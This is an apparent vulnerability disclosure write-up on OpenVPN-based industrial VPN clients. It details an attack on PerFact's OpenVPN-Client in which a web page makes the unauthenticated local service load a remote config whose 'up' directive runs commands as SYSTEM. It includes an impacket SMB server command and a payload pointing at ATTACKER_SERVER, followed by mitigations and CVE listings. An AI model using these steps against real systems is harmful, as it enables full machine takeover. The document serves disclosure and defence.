Team82 took an extensive look at VPN vendor applications that have OpenVPN running under the hood.
Claroty's researchers discovered a new attack concept to target VPNs.
Team82's research uncovered four vulnerabilities in popular industrial VPN solutions from vendors HMS Industrial Networks, Siemens, PerFact, and MB connect line.
The vulnerabilities expose users to remote and arbitrary code execution attacks, and also enable attackers to elevate privileges.
All four vendors have either provided a fix in an updated version of their respective products, or suggested mitigations.
A virtual private network (VPN) is an encrypted connection over the Internet from a device to a network that secures the transmission of sensitive data. Unauthorized people cannot eavesdrop on the traffic, and—relevant to today's climate—a VPN allows the user to remain at home and securely conduct business remotely. When you set up a VPN connection, also known as a tunnel, part or all of your internet traffic goes through this tunnel as an encapsulated packet from your endpoint to the VPN server, which can be located at your workplace or elsewhere. Those encapsulated packets are then re-routed at the end of the tunnel.
The most common implementation for a VPN solution is OpenVPN, which implements techniques to create secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It implements client and server applications.
OpenVPN was written by James Yonan and is free software, available under the terms of the GNU General Public License version 2 (GPLv2). As a result, many different systems support OpenVPN. For example, DD-WRT, a Linux-based firmware used in wireless routers, includes a server for OpenVPN. Due to its popularity, ease of use, and features, many companies have chosen OpenVPN as part of their solution. It's a feasible option for organizations that want to create a secure tunnel with a couple of new features. Rather than reinventing the wheel, the company will most likely use OpenVPN as its foundation.
In the past year, due to the increased popularity and growing remote workforce, Claroty Team82 was busy researching VPN/remote-access solutions. The majority of them included OpenVPN as part of the secure remote access solution while the vendor application is a wrapper that manages the OpenVPN instance. After inspecting a couple of such products, we identified a key problem with the way these types of products harness OpenVPN—a problem that, in most cases, can lead to a remote code execution just by luring a victim to a malicious website.
The OpenVPN website describes the Management Interface as follows:
The OpenVPN Management interface allows OpenVPN to be administratively controlled from an external program via a TCP or Unix domain socket. The interface has been specifically designed for developers who would like to programmatically or remotely control an OpenVPN daemon, and can be used when OpenVPN is running as a client or server.
In other words, a remote or local program can completely control an OpenVPN instance to open a secured tunnel or terminate an existing one. This is how vendors are integrating with OpenVPN and controlling it behind the scenes. To start OpenVPN with a management interface, the --management directive must be used as an argument.
Since OpenVPN requires high privileges, vendors will install OpenVPN as a service that runs as SYSTEM, and use the Management Interface to start a new session. This procedure ensures that even applications that don't require privileges could initiate a VPN connection without elevated permissions required. This is a potential risk that could allow privilege escalation and attacks that introduce significant risk to a business.
The OpenVPN Management Interface is simple and consist of the following commands, among many others:
bytecount
exit, quit
help
hold
kill
log
mute
net
pid
password and username
forget-passwords
signal
state
status
username
verb
version
auth-retry
Here is an example of a session as it was captured locally with Wireshark. We can clearly see the cleartext commands transferred between the vendor's product application and the OpenVPN instance.
Below is an example of a session as it was captured locally with Wireshark. We can clearly see the cleartext commands transferred between the vendor's product application and the OpenVPN instance.
Many of the VPN client products we researched were used as a wrapper for an OpenVPN service that controls all aspects of the VPN connection. The client-server architecture usually consists of three parts:
Front End: A simple GUI application that can configure the VPN connection settings, including loading the .ovpn configuration file.
Back End: A service that receives commands from the front-end client application and initializes the OpenVPN instance upon receiving the appropriate command from the user. The back end usually runs with SYSTEM privileges, and by default, it listens on localhost only (binds to localhost merely) on a specific port. In order to control the OpenVPN instance, a dedicated socket channel is created through which the back end and the OpenVPN instance can communicate over localhost on a dedicated TCP port.
OpenVPN: A service responsible for the VPN connection. It is controlled by the back end service over a management interface that OpenVPN opens via a dedicated and pre-defined local TCP port.
Usually, the back end is controlled by the front end using a dedicated socket channel. In almost all of the products we tested, the dedicated socket channel consisted of a cleartext protocol with some basic commands such as "Load OpenVPN config" and "Start VPN" with no authentication/authorization checks. The selection of a cleartext-based protocol, similar to telnet, is usually because of its ease of use and quick development cycles. This means that anyone with access to the local TCP port the back end listens on, could potentially load an OpenVPN config and force the back end to spawn a new OpenVPN instance with this configuration.
To exploit this vulnerability, we need to send to our victim a link to a malicious website with an embedded JavaScript payload that will send a blind POST request locally. The payload will be the commands we want to inject in the VPN client back end. Once the victim clicks the link, a HTTP POST request will be fired locally to the dedicated TCP port, and since HTTP is a cleartext based protocol which every line ends with \n, the back end server will read and ignore all the lines until reaching a meaningful command.
This is a classic Server-Side Request Forgery (SSRF), which is a security vulnerability that allows an attacker to force the server-side application to make HTTP requests to an arbitrary domain. In this case, the server-side application is a mix of the browser which sends the first request, and the back end server which activates OpenVPN. In addition, the domain here is actually localhost and the request is not directed to a web service, rather to a local service that manages an OpenVPN instance.
Finally, when a valid command is received, the back end server will parse and execute it. For example, a command dedicated to load and start a new OpenVPN instance with a specific configuration file. The configuration file can be located locally, on the same machine that OpenVPN is running, or it can be located remotely. If the configuration file is located on a remote server, we would need to use a UNC path (Windows-based OS) and store the remote configuration file on a remote SMB server. OpenVPN supports UNC paths on Windows and therefore, it will gladly load any remote configuration. What's more interesting is the OpenVPN configuration file doesn't have to consist of any particular suffix, so we could name it even "README.txt" as long as the content is a valid OpenVPN configuration.
Inside the attacker-controlled configuration file, the attacker could use one of the OpenVPN script directives such as the up command to execute code; the up configuration command is normally used to execute a shell command or a script to run after the TUN/TAP device is opened successfully (before outbound connection is made). An attacker could use this to execute any command, including malicious ones (installing a backdoor, ransomware, etc).
The attacker does not need to set up a dedicated OpenVPN server of their own because the up OpenVPN directive command is being executed before the connection to the OpenVPN server occurs. This is because the script is supposed to configure routes on the machine after the TCP/UDP socket bind and TUN/TAP device open. According to the OpenVPN manual there are more scripts that can be triggered upon different events:
–up: Executed after TCP/UDP socket bind and TUN/TAP open.
–tls-verify: Executed when we still have an untrusted remote peer.
–ipchange: Executed after connection authentication, or remote IP address change.
–client-connect: Executed in –mode server mode immediately after client authentication.
–route-up: Executed after connection authentication, either immediately after, or some number of seconds after as defined by the –route-delay option.
–route-pre-down: Executed right before the routes are removed.
–client-disconnect: Executed in –mode server mode on client instance shutdown.
–down: Executed after TCP/UDP and TUN/TAP close.
–learn-address: Executed in –mode server mode whenever an IPv4 address/route or MAC address is added to OpenVPN's internal routing table.
–auth-user-pass-verify: Executed in –mode server mode on new client connections, when the client is still untrusted.
However, the prerequisite for a full remote code execution attack is the ability to reach the attackers SMB server via the network to get the .ovpn configuration file. Therefore, the attacker must either be on the domain network with the victim's machine or the victim machine must be configured to allow SMB access to external servers.
One of the client VPN applications we researched was the PerFact OpenVPN-Client. The developers of PerFact's OpenVPN-Client chose TCP port 10700 for front end and back end communications, and TCP port 10600 for back end OpenVPN instance communications.
The back-end service is bound to the localhost interface (127.0.0.1), and by default is listening on TCP port 10700. There is no authentication and therefore any client connecting locally to TCP port 10700 can send data to this server. There are four supported commands:
Status: The client requests the current status from the server. The server will reply with current status.
Config {PATH}: The client sends to the server a path to the .ovpn configuration file. The server will initiate a new OpenVPN instance with this configuration file and connect to the remote VPN network.
Close: Changes the state to disconnected.
Bye: The client asks the server to disconnect the current OpenVPN connection and notifies the server that it's about to disconnect
Upon receiving data locally over TCP port 10700, the server will read all the incoming data until a new-line character (\n) is met and the server will treat this chunk as a single command. It will continue to parse all the data, while separating each command by the enter character (\n), until no more data is available.
The textual, chat-like, protocol being used is a very simple protocol with no authentication/authorization mechanisms available. Because of the lack of security, an attacker can leverage this architecture and send the config command from any application running on the localhost machine to force the back end server into initializing a new OpenVPN instance with an arbitrary OpenVPN configuration. And because opening a malicious OpenVPN configuration file can cause code execution in the context of the OpenVPN instance, an attacker can easily achieve code execution with privileges of a SYSTEM user.
Furthermore, we were able to demonstrate how an attacker can leverage this vulnerability into a remote code execution scenario. To achieve that, an attacker needs to prepare a malicious website such that when a user enters this website, a malicious JavaScript payload will send a config request locally to TCP port 10700 to trigger a remote code execution that results in a reverse shell and a complete takeover of the machine by the attacker.
As mentioned before, the back end server receives messages from clients locally via TCP port 10700. Messages are separated by an enter \n character, and the server won't close a connection if invalid commands are received. This can be leveraged by an attacker as follows:
The attacker will first prepare a SMB server that can be accessed remotely via a UNC path. This can be achieved easily using the Python impacket SMB server to set up the server. This is the command line to create the new SMB server:
python scripts/src/impacket/examples/smbserver.py -smb2support -debug TMP /tmp
Inside, the attacker will place a specifically crafted OpenVPN configuration file. The configuration file must contain the up OpenVPN directive, below. This will cause OpenVPN to execute a command upon a successful TUN/TAP device open.
The command can be any valid shell command with the sole limit of 256 characters. In our PoC, below, we were able to bypass this limitation with multiple OpenVPN setvar configuration vars, and create a full reverse-shell command.
Then, the attacker will prepare a malicious website with a simple JavaScript payload that will send an HTTP POST request to 127.0.0.1:10700 with the following payload (ATTACKER_SERVER is the SMB server instance created by the attacker to serve the configuration):
config \\ATTACKER_SERVER\conf.ovpn
Although the Same-Origin Policy (SOP) mechanism will prevent the attacker from receiving the response, the request will be sent anyway and the back end server will receive the request and act upon it, below.
When the back end server receives the request, it will separate the incoming data by the enter character \n and will try to parse each command separately. Since this is a HTTP request, there will be many headers the server will fail to parse as if they were commands, below.
However, when the server will finally reach the end of the HTTP POST request, it will encounter the POST payload which is a valid command! The server will act upon the config command and will initialize a new OpenVPN instance with the configuration controlled by the remote attacker.
The OpenVPN configuration will contain the UP keyword, which will execute a command in the context of the OpenVPN instance, which means SYSTEM privileges, below.
Hence, just by visiting the attacker's website, an end-user with PerFact's OpenVPN-Client application running in the background, can be fully attacked up to a complete takeover of the entire victim's machine.
Below is mitigation advice to help eliminate the SSRF and the local privilege escalation:
Use dynamic parameters: Configure all listeners to bind on dynamic ports and dynamic local IP address in the 127.0.0.0/8 range (e.g. 127.1.2.3)
Security token and security flags: Implement a secret token that the front-end must transfer to the back end in order to execute commands. The security token will be automatically generated with every bootup and will be configured with proper access control lists (ACLs) so local attackers could not use this to start a VPN session. Use secure flags to OpenVPN and especially limit external command execution such as the up command using –script-security level 1.
Limit the potential attack surface: Refrain from executing OpenVPN withSYSTEM privileges whenever possible. When the back end server receives a command it doesn't understand, for example HTTP method, close the session immediately and don't try to parse any further.
The following CVEs have been issued for several VPN applications used as wrappers for OpenVPN:
Vendor: HMS Industrial Networks AB Product: eCatcher CVSS v3: 9.6 CWE-121 Stack-based buffer overflow The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to remotely execute arbitrary code. ICS-CERT advisory
Vendor: PerFact Product: OpenVPN-Client CVSS: 8.8 CWE-15 External control of systems or configuration setting An attacker can take leverage on this architecture and send the config command from any application running on the local host machine to force the back-end server into initializing a new open-VPN instance with arbitrary open-VPN configuration. This could result in the attacker achieving execution with privileges of a SYSTEM user. ICS-CERT advisory
Vendor: Siemens Product: SINEMA RC Client CVSS: 7.8 CWE-15: External Control of System or Configuration Setting An attacker can take leverage on this architecture and send the config command from any application running on the local host machine to force the back-end server into initializing a new open-VPN instance with arbitrary open-VPN configuration. This could result in the attacker achieving execution with privileges of a SYSTEM use Siemens advisory
Vendor: MB connect line GmbH Product: mbConnect Dialup CVSS: 7.8 and 7.8 Description: Multiple Vulnerabilities in mbConnect24serv (a software service of mbDIALUP) can lead to arbitrary code execution due to improper privilege management. VDE CERT advisory
CWE-345 INSUFFICIENT VERIFICATION OF DATA AUTHENTICITY:
In 2N Access Commander versions 3.1.1.2 and prior, a local attacker can escalate their privileges in the system which could allow for arbitrary code execution with root permissions.
Update to Access Commander version 3.2.
CVSS v3: 4.7
CWE-345 INSUFFICIENT VERIFICATION OF DATA AUTHENTICITY:
In 2N Access Commander versions 3.1.1.2 and prior, an Insufficient Verification of Data Authenticity vulnerability could allow an attacker to escalate their privileges and gain root access to the system.
Update to Access Commander version 3.2.
CVSS v3: 6.3
CWE-22 IMPROPER LIMITATION OF A PATHNAME TO A RESTRICTED DIRECTORY ('PATH TRAVERSAL'):
In 2N Access Commander versions 3.1.1.2 and prior, a Path Traversal vulnerability could allow an attacker to write files on the filesystem to achieve arbitrary remote code execution.
Update to Access Commander version 3.2.
CVSS v3: 7.2
CWE-290: AUTHENTICATION BYPASS BY SPOOFING
Snap One OVRC cloud uses the MAC address as an identifier to provide information when requested. An attacker can impersonate other devices by supplying enumerated MAC addresses and receive sensitive information about the device.
Read more: "The Problem with IoT Cloud Connectivity and How it Exposed All OvrC Devices to Hijacking"
CVSS v3: 7.5
CWE-306: MISSING AUTHENTICATION FOR CRITICAL FUNCTION
A vulnerability exists in Snap One OVRC cloud where an attacker can impersonate a Hub device and send requests to claim and unclaimed devices. The attacker only needs to provide the MAC address of the targeted device and can make a request to unclaim it from its original connection and make a request to claim it.
OvrC Pro: All versions prior to 7.3 are affected.
Read more: "The Problem with IoT Cloud Connectivity and How it Exposed All OvrC Devices to Hijacking"
CVSS v3: 9.1
